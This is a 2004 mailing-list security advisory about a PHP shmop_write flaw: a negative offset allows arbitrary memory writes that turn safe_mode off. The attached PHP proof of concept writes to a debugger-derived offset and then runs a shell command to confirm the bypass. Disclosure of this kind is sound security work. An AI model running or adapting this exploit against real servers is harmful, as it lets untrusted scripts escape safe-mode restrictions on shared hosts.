--=-EgJ4oUvtTJTtmsu2c4ap
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hi list-eners,

================================================== ========
Title: Php shmop write of arbitrary memory - Safe Mode Bypass
Affected: Php <= 5.0.2 & 4.3.9 if shmop module is loaded.
Vulnerability Type: Input Validation - write of arbitrary memory

==Summary
Shared Memory PHP Module has a memory leak when shmop_write function
checks for offset bounds.
This flaw could lead to bypass Safe Mode and other bad things.

==Description

shmop.c in PHP_FUNCTION(shmop_write)
function does not check if the 'offset' value is negative,
so it is possible to overwrite arbitrary memory with:

memcpy(shmop->addr + offset, data, writesize);

this, in particular can be used to set safe_mode to off.
Attached there's a Proof of concept for this vuln.
It needs some gdb debugging or print the address of core_globals.safe_mode
and some try to get the right distance to set in '$offset'.
Of course shmop.so needs to be loaded as module or embedded in php bins.



Solution:
Update php to 5.0.3 or 4.3.10

Regards,
Stefano Di Paola

--
.......---oOOo--------oOOo---......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec.it
Email: stefano.dipaola1_at_tin.it
Web: www.wisec.it
...................................

--=-EgJ4oUvtTJTtmsu2c4ap
Content-Disposition: attachment; filename=safe_mode_bypass.php
Content-Type: application/x-php; name=safe_mode_bypass.php
Content-Transfer-Encoding: 7bit

<?
/*
Php Safe_mode Bypass Proof of concept.

Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it

Disclaimer: The author is not responsible of any damage this script can cause

*/

$shm_id = shmop_open(0xff2, "c", 0644, 100);
if (!$shm_id) {
echo "Couldn't create shared memory segment\n";
die;
}

// $data="\x01";
// the new value for safe_mode
$data="\x00";

// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
$offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
echo "Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>

--=-EgJ4oUvtTJTtmsu2c4ap--